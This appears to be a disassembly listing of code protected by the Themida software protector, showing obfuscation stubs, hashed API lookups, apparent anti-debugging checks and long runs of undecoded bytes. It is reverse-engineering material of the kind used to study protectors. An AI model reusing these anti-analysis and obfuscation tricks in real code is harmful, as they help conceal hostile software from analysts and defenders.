
; ---------------------------------------------------------------------------
		db 65h,	0BBh, 0E1h
; ---------------------------------------------------------------------------
		dec	edx
		lodsd
		mov	edi, [ebp+61517E9h]
		lea	esi, [ebp+617F65Bh]
		mov	edi, 0A3D5FCDh
		mov	[ebp+6150A8Dh],	ebx
		lea	eax, [ebp+617A3E1h]
		mov	cx, 27CCh
		call	eax
		cld
		ja	loc_5AC32A
		mov	[ebp+6152389h],	ecx


loc_5AC32A:				; CODE XREF: Themida_:005AC31Ej
		push	0
		push	0
		push	esi
		call	sub_5AC337
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC337	proc near		; CODE XREF: Themida_:005AC32Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5AC337	endp

; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------
		push	ds
		db	2Eh
		push	ds
		inc	ebp
		call	dword ptr [ebp+6152669h]
		or	[ebp+6153475h],	eax
		mov	esi, ebx
		movsx	edi, di
		lea	eax, [ebp+617A3E1h]
		mov	edi, [ebp+6152D29h]
		call	eax
		mov	[ebp+6151005h],	eax
		push	0
		push	0
		push	ebx
		call	sub_5AC37E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC37E	proc near		; CODE XREF: Themida_:005AC376p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5AC37E	endp

; ---------------------------------------------------------------------------
		dw 62D4h
		dd 2BF303C8h, 15165D95h, 6995FF06h, 8B061526h, 7EF281C0h
		dd 831E693Ch, 1508F5BDh, 9750006h, 3ADBD83h, 74000615h
		dd 8B535019h, 7D9B8C0h,	85890000h, 6151385h, 0AA9E9D8Dh
		dd 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h,	7D9B853h
		dd 85890000h, 6151385h,	0A78D9D8Dh, 0D3FF0617h,	8BF9585Bh
		dd 15020595h, 0BD8B6006h, 6151929h, 6D1BD23h, 8B610615h
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0DCE77BFAh, 0DCF2C10Eh, 38C0Fh, 0BF0F0000h
		dd 810F60CBh, 2, 8531D2B5h, 6151791h, 840F5061h, 3, 8BF88B66h
		dd 53006AD8h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 9D8D5390h, 61505E1h, 389038Bh, 8950438Bh
		dd 9D8D5043h, 617FE3Fh,	389038Bh, 55006A5Bh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 9E8770B8h
		dd 0EF8A8D32h, 4C98D8Bh, 0D08B0615h, 6AD78Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 7C35141h, 9E92CC89h
		dd 8D354FD7h, 17FE3F85h, 0F41BA06h, 6A502CBCh, 0F18D8B60h
		dd 8B061512h, 0E1858DCFh, 8B061505h, 15035DBDh,	0F7E18006h
		dd 918D8950h, 6A06152Fh, 0BF665300h, 0B15A5D59h, 66006A9Bh
		dd 875BE281h, 180068h, 0A59D0100h, 5306151Ch, 6ABF66h
		dd 97D95FFh, 0BF0F0615h, 0CD95FFD3h, 8B06150Dh,	15098195h
		dd 0A6B5FF06h, 6A0617FEh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 49E8C355h, 0FA26DC6h
		dd 0C995FF3Eh, 6A061502h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 1490C356h, 77FAAFD3h
		dd 0AC58509h, 14E90615h, 9B000000h, 1B200387h, 0D17C6D10h
		dd 7DA828AFh, 0F3C1F14Ah, 8DEEBEF7h, 1505E185h,	8BCB8B06h
		dd 0B5891840h, 6152AEDh, 20D85C7h, 615h, 0CA8B0000h, 295DBD83h
		dd 0F000615h, 2E84h, 0A1BD8B00h, 3D061504h, 8Ch, 187830Fh
		dd 0B5890000h, 6150DF1h, 23E9h,	0DE900h, 72400000h, 0C9753296h
		dd 5F1B3DDAh, 3DE9B5F3h, 98h, 15F830Fh,	0CA810000h, 62B1236Ch
		dd 243B858Dh, 9503005Bh, 6151C9Dh, 0F180D0FFh, 8E858D94h
		dd 0E9005B1Eh, 13h, 6B36668Dh, 3E60AFD9h, 7B966D32h, 81059753h
		dd 0FF396217h, 0C08BFCD0h, 2D958B56h, 5A061502h, 8F5BD83h
		dd 75000615h, 0ADBD8309h, 61503h, 53501974h, 0C6B8C08Bh
		dd 8900000Bh, 15138585h, 9E9D8D06h, 0FF0617AAh,	83585BD3h
		dd 1503ADBDh, 17740006h, 0C6B85350h, 8900000Bh,	15138585h
		dd 8D9D8D06h, 0FF0617A7h, 0E8585BD3h, 10h, 0E79AC0AEh
		dd 0F1D4EBC5h, 0A1CBDBABh, 738C7191h, 252CD281h, 895A10BFh
		dd 152EE995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0F35D1C2h, 0C08BD1B7h, 0BD895957h
		dd 615189Dh, 0FFFF883h,	2F85h, 1D858900h, 0C7061516h, 1521B985h
		dd 6, 0C890F00h, 0F000000h, 68Bh, 0E9858900h, 0E9061504h
		dd 0F8h, 0E9F88B66h, 42h, 0F01F883h, 3985h, 0A5B66000h
		dd 0FA8B6660h, 1E9B509h, 61610615h, 0F5E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 0EF7D573Ah, 257DBD33h, 20E90615h, 8BFFFFF2h,	15004D95h
		dd 89C08B06h, 1527C185h, 0F5BD8306h, 61508h, 0BD830975h
		dd 61503ADh, 50197400h,	0B8C08B53h, 7DDh, 13858589h, 9D8D0615h
		dd 617AA9Eh, 585BD3FFh,	3ADBD83h, 74000615h, 0B8535017h
		dd 7DDh, 13858589h, 9D8D0615h, 617A78Dh, 585BD3FFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B0C35646h, 0CA68BADFh
		dd 6A71BCh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0CE8B75C3h, 33BD8509h, 0C08B0615h, 217E9h
		dd 0CABF0F00h, 0FC43858Dh, 8D8B0617h, 615091Dh,	0FE3B8589h
		dd 8B600617h, 150D818Dh, 5AE96106h, 0F000000h
; ---------------------------------------------------------------------------
		mov	bh, 0F9h


loc_5AC832:				; CODE XREF: Themida_:005AC2D5j
		lea	eax, [ebp+617FA4Bh]
		push	0
		push	edx
		call	sub_5AC843
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC843	proc near		; CODE XREF: Themida_:005AC83Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5AC843	endp

; ---------------------------------------------------------------------------
		db	36h
		inc	ebp
		inc	edx
		or	[ebp+615116Dh],	edx
		inc	eax
		push	0
		push	eax
		call	sub_5AC868
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AC868	proc near		; CODE XREF: Themida_:005AC860p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5AC868	endp

; ---------------------------------------------------------------------------
		mov	ah, 87h
		push	edx
		mov	ecx, eax
		mov	[ebp+617FE3Bh],	eax
		jge	$+6
		push	34h
		lea	eax, [ebp+6151395h]
		push	eax
		push	dword ptr [ebp+617FE3Bh]
		push	0
		call	dword ptr [ebp+61506D5h]
		cmp	eax, 7
		jz	loc_5ACA11
		mov	bx, ds
		test	bl, 4
		jnz	loc_5AC9B7
		mov	byte ptr [ebp+61509C5h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+6151685h]
		lea	eax, [ebp+6153B38h]
		call	eax
		push	4
		push	1000h
		push	64h
		push	0
		call	eax
		mov	[ebp+617FEAEh],	eax
		mov	byte ptr [ebp+61509C5h], 47h
		push	0EC18AC9Bh
		push	dword ptr [ebp+6151685h]
		lea	eax, [ebp+6153B38h]
		call	eax
		call	eax
		mov	esi, eax
		mov	byte ptr [ebp+61509C5h], 4Fh
		push	0C62F2661h
		push	dword ptr [ebp+6151789h]
		lea	eax, [ebp+6153B38h]
		call	eax
		lea	ebx, [ebp+617FEAAh]
		push	ebx
		push	28h
		push	esi
		call	eax
		test	eax, eax
		jnz	short $+2
		mov	byte ptr [ebp+61509C5h], 41h
		push	0DB876498h
		push	dword ptr [ebp+6151789h]
		lea	eax, [ebp+6153B38h]
		call	eax
		mov	[ebp+617FEC7h],	eax
		mov	byte ptr [ebp+61509C5h], 4Ch
		push	80A4E7A4h
		push	dword ptr [ebp+6151789h]
		lea	eax, [ebp+6153B38h]
		call	eax
		mov	ebx, [ebp+617FEAEh]
		lea	ebx, [ebx+4]
		push	ebx
		lea	ebx, [ebp+617FEB3h]
		push	ebx
		push	0
		call	eax
		mov	ebx, [ebp+617FEAEh]
		mov	dword ptr [ebx], 1
		mov	dword ptr [ebx+0Ch], 2
		mov	ebx, [ebp+615074Dh]
		mov	dword ptr [ebp+6152DEDh], 0
		push	0
		push	0
		push	0
		mov	ebx, [ebp+617FEAEh]
		push	ebx
		push	0
		push	dword ptr [ebp+617FEAAh]
		call	dword ptr [ebp+617FEC7h]


loc_5AC9B7:				; CODE XREF: Themida_:005AC8AFj
		mov	byte ptr [ebp+61509C5h], 45h
		push	92A5F797h
		push	dword ptr [ebp+6150789h]
		lea	eax, [ebp+6153B38h]
		call	eax
		push	0
		push	2
		call	eax
		mov	bx, ds
		test	bl, 4
		jnz	short loc_5ACA11
		mov	ebx, [ebp+617FEAEh]
		mov	dword ptr [ebx+0Ch], 0
		push	0
		push	0
		mov	ebx, [ebp+617FEAEh]
		push	ebx
		push	0
		push	dword ptr [ebp+617FEAAh]
		call	dword ptr [ebp+617FEC7h]
		push	dword ptr [ebp+617FEAAh]
		call	dword ptr [ebp+6150DCDh]


loc_5ACA11:				; CODE XREF: Themida_:005AC8A3j
					; Themida_:005AC9DDj
		push	0
		call	dword ptr [ebp+6152669h]
		mov	edx, 2AF71739h
		mov	edx, [ebp+61507F5h]
		lea	eax, [ebp+618318Ah]
		push	0
		push	eax
		call	sub_5ACA35
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ACA35	proc near		; CODE XREF: Themida_:005ACA2Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5ACA35	endp

; ---------------------------------------------------------------------------
		db 16h,	2 dup(50h)
		dd 0EE860h, 0FA190000h,	565E08B1h, 0DA368CFh, 61FA69F8h
		dd 61CB8A58h, 35FF645Fh, 0
		dd 0C6DBD8Bh, 0FE80615h, 90000000h, 0F3A00965h,	929A9D24h
		dd 0B54F576Ch, 0B70FB62Dh, 89645ACFh, 25h, 9E900h, 7A1F0000h
		dd 0A8839088h, 83BD750Eh, 1509CDBDh, 840F0006h,	9Fh, 1949BA66h
		dd 16598D8Bh, 0BD830615h, 6152DB5h, 88850F01h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0B6ADC353h, 509BDA77h, 0BD802DB1h, 61802C7h
		dd 58850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0C78FC350h,	0E4403A6Ch
		dd 858D8952h, 89061508h, 150C7585h, 198E906h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0A7B85CC3h, 0B8CE4F2Ah, 334CB2D9h, 218D01DBh, 8B06150Ah
		dd 56C033FBh, 25198D09h, 405F0615h, 0B073F0Fh, 58F64h
		dd 83000000h, 0F5704C4h, 6A5FCFB7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0BCACC355h
		dd 0FFFB83CEh, 15840Fh,	8D8B0000h, 61518F5h, 10FE9h, 89575600h
		dd 1511D9B5h, 0E95F5906h, 72h, 9501FC60h, 615022Dh, 244C8B61h
		dd 0A481C70Ch, 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h
		dd 245C8BC3h, 0E8550Ch,	5D000000h, 31ACED81h, 838B0618h
		dd 0B8h, 328B858Dh, 83890618h, 0B8h, 0C3C0335Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 69C35545h, 0D1958B60h
		dd 9061503h, 1507499Dh,	858D6106h, 61831A2h, 9E8h, 0A0A11800h
		dd 0F8C3F95Bh, 8151DACFh, 54BB60F2h, 0F5A5A7Ch,	188h, 3350FC00h
		dd 1516D5BDh, 35FF6406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5ACC5F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5ACC5F	proc near		; CODE XREF: Themida_:005ACC57p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5ACC5F	endp

; ---------------------------------------------------------------------------
		db 0F9h
		dd 0D4749DC6h, 3860Fh, 0BF0F0000h, 258964C8h, 0
		dd 4A27B966h, 0AB9h, 0D704B800h, 64054855h, 0BB0DF781h
		dd 8685D465h, 34B640BAh, 0E8EA8100h, 0ED00345Fh, 5868FB81h
		dd 0A75564Dh, 14F585C7h, 10615h, 8F640000h, 5, 4C48300h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 92C35141h
		dd 909EB5F6h, 2DA19D89h, 0B70F0615h, 6AC08BF8h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 764DC352h, 83FED928h, 1508F5BDh, 9750006h, 3ADBD83h
		dd 74000615h, 8B535019h, 43DB8C0h, 85890000h, 61502A1h
		dd 0AB059D8Dh, 0D3FF0617h, 0BD83585Bh, 61503ADh, 50177400h
		dd 43DB853h, 85890000h,	61502A1h, 0A7A69D8Dh, 0D3FF0617h
		dd 6A585Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0B71BD5C3h, 0C321BA91h, 0C08B228Ah, 147E9h
		dd 400h, 392E3100h, 3031h, 6 dup(0)
		dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh
		dd 6E6F6974h, 656C5000h, 2C657361h, 6E6F6320h, 74636174h
		dd 65687420h, 666F7320h, 72617774h, 65642065h, 6F6C6576h
		dd 73726570h, 74697720h, 68742068h, 6F662065h, 776F6C6Ch
		dd 20676E69h, 65646F63h, 54202E73h, 6B6E6168h, 756F7920h
		dd 0A0D0A2Eh, 2020200Dh, 20202020h, 72702820h, 20737365h
		dd 4C525443h, 6F20432Bh, 6874206Eh, 77207369h, 6F646E69h
		dd 6F742077h, 706F6320h, 6F742079h, 696C6320h, 616F6270h
		dd 20296472h, 0A202020h, 560D0A0Dh, 69737265h, 20206E6Fh
		dd 7325203Dh, 68430D0Ah, 496B6365h, 3D20204Eh, 0A642520h
		dd 6568430Dh, 554F6B63h, 203D2054h, 0D0A6425h, 636F7250h
		dd 20204E49h, 25203D20h, 500D0A64h, 4F636F72h, 20205455h
		dd 6425203Dh, 78450D0Ah, 4E497469h, 3D202020h, 0A642520h
		dd 6978450Dh, 54554F74h, 203D2020h, 0D0A6425h, 6E695054h
		dd 20202020h, 25203D20h, 0D0A64h, 2FF1BD83h, 0F000615h
		dd 12D84h, 0BD858D00h, 500617A5h, 0A527858Dh, 68500617h
		dd 80000001h, 0A5CD95FFh, 858D0617h, 6183356h, 60858D50h
		dd 50061833h, 6A006Ah, 0A53B858Dh, 0FF500617h, 17A5BDB5h
		dd 9195FF06h, 8D061523h, 18335685h, 858D5006h, 6183364h
		dd 6A006A50h, 4D858D00h, 500617A5h, 0A5BDB5FFh,	95FF0617h
		dd 6152391h, 3356858Dh,	8D500618h, 18337085h, 6A5006h
		dd 858D006Ah, 617A59Ah,	0BDB5FF50h, 0FF0617A5h,	15239195h
		dd 56858D06h, 50061833h, 3378858Dh, 6A500618h, 8D006A00h
		dd 17A5B885h, 0B5FF5006h, 617A5BDh, 239195FFh, 858D0615h
		dd 6183356h, 74858D50h,	50061833h, 6A006Ah, 0A5A1858Dh
		dd 0FF500617h, 17A5BDB5h, 9195FF06h, 8D061523h,	18335685h
		dd 858D5006h, 6183368h,	6A006A50h, 0A9858D00h, 500617A5h
		dd 0A5BDB5FFh, 95FF0617h, 6152391h, 3356858Dh, 8D500618h
		dd 18336C85h, 6A5006h, 858D006Ah, 617A5B0h, 0BDB5FF50h
		dd 0FF0617A5h, 15239195h, 0BDB5FF06h, 0FF0617A5h, 15181995h
		dd 0A2E906h, 0BD830000h, 61518F9h, 95840F00h, 83000000h
		dd 152DB5BDh, 850F0006h, 11h, 0B8D958Bh, 0C2810615h, 1CF8h
		dd 0FE9h, 0E1958D00h, 8B061505h, 0C2813452h, 3BD4C340h
		dd 282D9589h, 0BD830615h, 615282Dh, 55840F00h, 8B000000h
		dd 15282D9Dh, 4CC38306h, 8589038Bh, 6183360h, 282D9D8Bh
		dd 0C3830615h, 89038B50h, 18336485h, 2D9D8B06h,	83061528h
		dd 38B54C3h, 33708589h,	9D8B0618h, 615282Dh, 8B58C383h
		dd 74858903h, 8B061833h, 15282D9Dh, 5CC38306h, 8589038Bh
		dd 6183368h, 2FF1BD83h,	0F000615h, 0D85h, 0F9BD8300h, 61518h
		dd 68840Fh, 0B5FF0000h,	6183378h, 336CB5FFh, 0B5FF0618h
		dd 6183368h, 3374B5FFh,	0B5FF0618h, 6183370h, 3364B5FFh
		dd 0B5FF0618h, 6183360h, 335A858Dh, 8D500618h, 18339285h
		dd 858D5006h, 6151E95h,	2995FF50h, 8306152Fh, 406A24C4h
		dd 337C858Dh, 8D500618h, 151E9585h, 6A5006h, 6D595FFh
		dd 16A0615h, 266995FFh,	0C18B0615h, 0F31718EBh,	9B46h
		dd 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6183726h
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 5EB58BFFh, 81061837h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 62B53B00h, 0F061837h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 282D858Bh, 18860615h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 0E195FF08h, 50061518h, 244C010Fh,	0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 282D858Bh, 0C60615h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 615282Dh,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 6150AA5h,	0
; ---------------------------------------------------------------------------
		mov	eax, [esp+8]
		mov	ebx, [eax+1000h]
		mov	[eax+1000h], ebx
		mov	ebx, [eax]
		mov	[eax], ebx
		jmp	loc_5AD297
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+6150AA5h], 100h


loc_5AD297:				; CODE XREF: Themida_:005AD288j
		pop	eax
		pop	ebx
		inc	dword ptr [esp]
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0A3h, 0FFh
		dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
		dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh,	1, 0FC90A4Ah
		dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
		dd 0C033087Ah, 1E9h, 3F80AA00h,	0F6850F00h, 5FFFFFFFh
		dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
		dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h,	595EC38Bh
		dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC00Ah, 0FFFFFFE7h
		dd 850FD20Bh, 0FFFFFFDFh, 8C66C361h, 0F04A8D8h,	2984h
		dd 385C700h, 1061837h, 50000000h, 244C010Fh, 7858FFEh
		dd 8D061837h, 1836FF85h, 7BD8D06h, 89061837h, 23E938h
		dd 858D0000h, 61505E1h,	538408Bh, 9B46F317h, 36FF8589h
		dd 858D0618h, 61505E1h,	893C408Bh, 18370385h, 1C858D06h
		dd 89061837h, 1518E185h, 87E906h, 8B520000h, 728B60D4h
		dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h
		dd 0C7A8B08h, 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h
		dd 0FF73B46h, 0FFFFF182h, 0C25A61FFh
		db 8, 0
; ---------------------------------------------------------------------------


loc_5AD40E:				; DATA XREF: Themida_:0057B760o
		push	edx
		mov	edx, esp
		push	esi
		push	ecx
		push	ebx
		xor	ebx, ebx
		mov	esi, [edx+8]
		mov	ecx, [edx+0Ch]
		jmp	loc_5AD434
; ---------------------------------------------------------------------------


loc_5AD421:				; CODE XREF: Themida_:005AD436j
		lodsb
		cmp	al, 2Dh
		jz	loc_5AD434
		add	al, 98h
		xor	al, 13h
		xor	bl, al
		rol	ebx, 8
		dec	ecx


loc_5AD434:				; CODE XREF: Themida_:005AD41Cj
					; Themida_:005AD424j
		or	ecx, ecx
		jnz	loc_5AD421
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	esi
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		lea	eax, [ebp+618398Fh]
		mov	[ebp+6151101h],	eax
		lea	eax, [ebp+61839B7h]
		mov	[ebp+61526CDh],	eax
		lea	eax, [ebp+61839DFh]
		mov	[ebp+6151D31h],	eax
		pusha
		push	0
		push	esi
		call	sub_5AD475
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD475	proc near		; CODE XREF: Themida_:005AD46Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5AD475	endp

; ---------------------------------------------------------------------------
		db 4Ch,	83h, 4
		dd 9DD0919Eh, 0EE852AEh, 20000000h, 0FA4476B1h,	0AE3E243Eh
		dd 316D3ADh, 0DCC28021h, 0AE85Eh, 0EA980000h, 817BCC00h
		dd 0AEF9BCADh, 68E0Fh, 8A0F0000h, 0
; ---------------------------------------------------------------------------
		pop	edx
		mov	dh, 58h
		mov	eax, eax
		sub	edx, 43E43B32h
		cmp	dword ptr [ebp+61508F5h], 0
		jnz	short loc_5AD4DD
		cmp	dword ptr [ebp+61503ADh], 0
		jz	short loc_5AD4F6


loc_5AD4DD:				; CODE XREF: Themida_:005AD4D2j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+6151385h],	eax
		lea	ebx, [ebp+617AA9Eh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AD4F6:				; CODE XREF: Themida_:005AD4DBj
		cmp	dword ptr [ebp+61503ADh], 0
		jz	short loc_5AD516
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+6151385h],	eax
		lea	ebx, [ebp+617A78Dh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AD516:				; CODE XREF: Themida_:005AD4FDj
		mov	dx, cx
		mov	dx, 7923h
		jmp	loc_5AD533
; ---------------------------------------------------------------------------
		dec	ebp
		adc	al, 0FEh
		inc	esp
		retn	8333h
; ---------------------------------------------------------------------------
		db 1Dh,	0DEh, 67h
		dd 0B03ABC98h
		db 0B0h, 16h, 12h
; ---------------------------------------------------------------------------


loc_5AD533:				; CODE XREF: Themida_:005AD51Dj
		mov	eax, eax
		push	0
		push	edx
		call	sub_5AD540
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD540	proc near		; CODE XREF: Themida_:005AD538p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5AD540	endp

; ---------------------------------------------------------------------------
		dd 9E980ADh, 88000000h,	73B6C16Ah, 6763C9ACh, 9CDBD83h
		dd 0F000615h, 7684h, 0DE900h, 88640000h, 23EB6A2Ah, 2266B130h
		dd 0E9812ECBh, 2B1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 4C35343h, 0DA3F80CAh,	809C95D3h, 14E83BDDh
		dd 0F9000000h, 361803FFh, 32B29F65h, 16B9EF99h,	996E4B99h
		dd 0F0A56B3h, 68Fh, 8B0F00h, 5E000000h,	0EE9h, 196CFC00h
		dd 46D49AE7h, 933B053h,	8CB02BB6h, 51006ADFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 66F13C7Eh
		dd 1AC281h, 4C7F766h, 22850F00h, 0F000002h, 589h, 0D9EEB900h
		dd 0BD833E90h, 615295Dh, 1E850F00h, 50000000h, 9E9h, 3DEE6900h
		dd 48A2FC47h, 0B95A1EB0h, 6B10B38Ah, 1F0E9h, 7BBE6600h
		dd 8DFF2B68h, 183DBD9Dh, 198F0F06h, 0E9000000h,	14h, 0B75B66C8h
		dd 437B2651h, 46C2C98Dh, 0F5F0B421h, 0C2638E50h, 0E8505A51h
		dd 0Bh,	4C80C1CCh, 45969FA9h, 5A5EDEE2h, 6A241C89h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 4F27C350h, 60000905h, 12E8h,	0C053D600h, 8CAFF509h
		dd 29A2D51h, 0E8CCBF04h, 0BB1B6D09h, 54537325h,	6860F5Fh
		dd 0F000000h, 85h, 0FF646100h, 35h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0E20D3D2Ch
		dd 0E92AA296h, 6, 0D1809CF2h, 8964526Bh, 25h, 0E9506000h
		dd 9, 50FC9DBEh, 5EC271AFh, 0FA8A5BE8h,	6AC48B61h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 99AEC351h, 0EB01CD73h, 5E900h, 23280000h, 570E609Fh
		dd 2840Fh, 61600000h, 58F6459h,	0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5AD76B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD76B	proc near		; CODE XREF: Themida_:005AD763p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5AD76B	endp

; ---------------------------------------------------------------------------
		frstor	byte ptr [eax-75h]
		fimul	word ptr [edi]
		mov	edi, 0C48361F9h
		add	al, 60h
		mov	ecx, 578BFD62h
		pusha
		jnb	$+6
		mov	dh, 7Ch
		popa
		popa
		or	eax, eax
		jz	loc_5AD835
		movzx	ecx, dx
		popa
		sbb	dx, 2590h
		lea	edi, [ebp+615720Dh]
		mov	cx, 4192h
		mov	eax, 1
		push	0
		push	edx
		call	sub_5AD7C2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AD7C2	proc near		; CODE XREF: Themida_:005AD7BAp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5AD7C2	endp

; ---------------------------------------------------------------------------
		dw 7B37h
		dd 41C0DB02h, 81698DE3h, 9C8597D1h, 77D6813Eh, 0FF34EE4Ch
		dd 0F2B70FE7h, 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h
		dd 0B08389C8h, 83000000h, 0B883h, 335F0200h, 0F57C3C0h
		dd 8Bh,	6A5900h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 6CBB1AC3h
		db 0CEh
; ---------------------------------------------------------------------------


loc_5AD835:				; CODE XREF: Themida_:005AD799j
		popa
		and	cx, 0CFD9h
		and	dx, 0F212h
		mov	eax, eax
		mov	edx, 10A70FA5h
		cmp	dword ptr [ebp+61508F5h], 0
		jnz	short loc_5AD859
		cmp	dword ptr [ebp+61503ADh], 0
		jz	short loc_5AD872


loc_5AD859:				; CODE XREF: Themida_:005AD84Ej
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+61502A1h],	eax
		lea	ebx, [ebp+617AB05h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5AD872:				; CODE XREF: Themida_:005AD857j
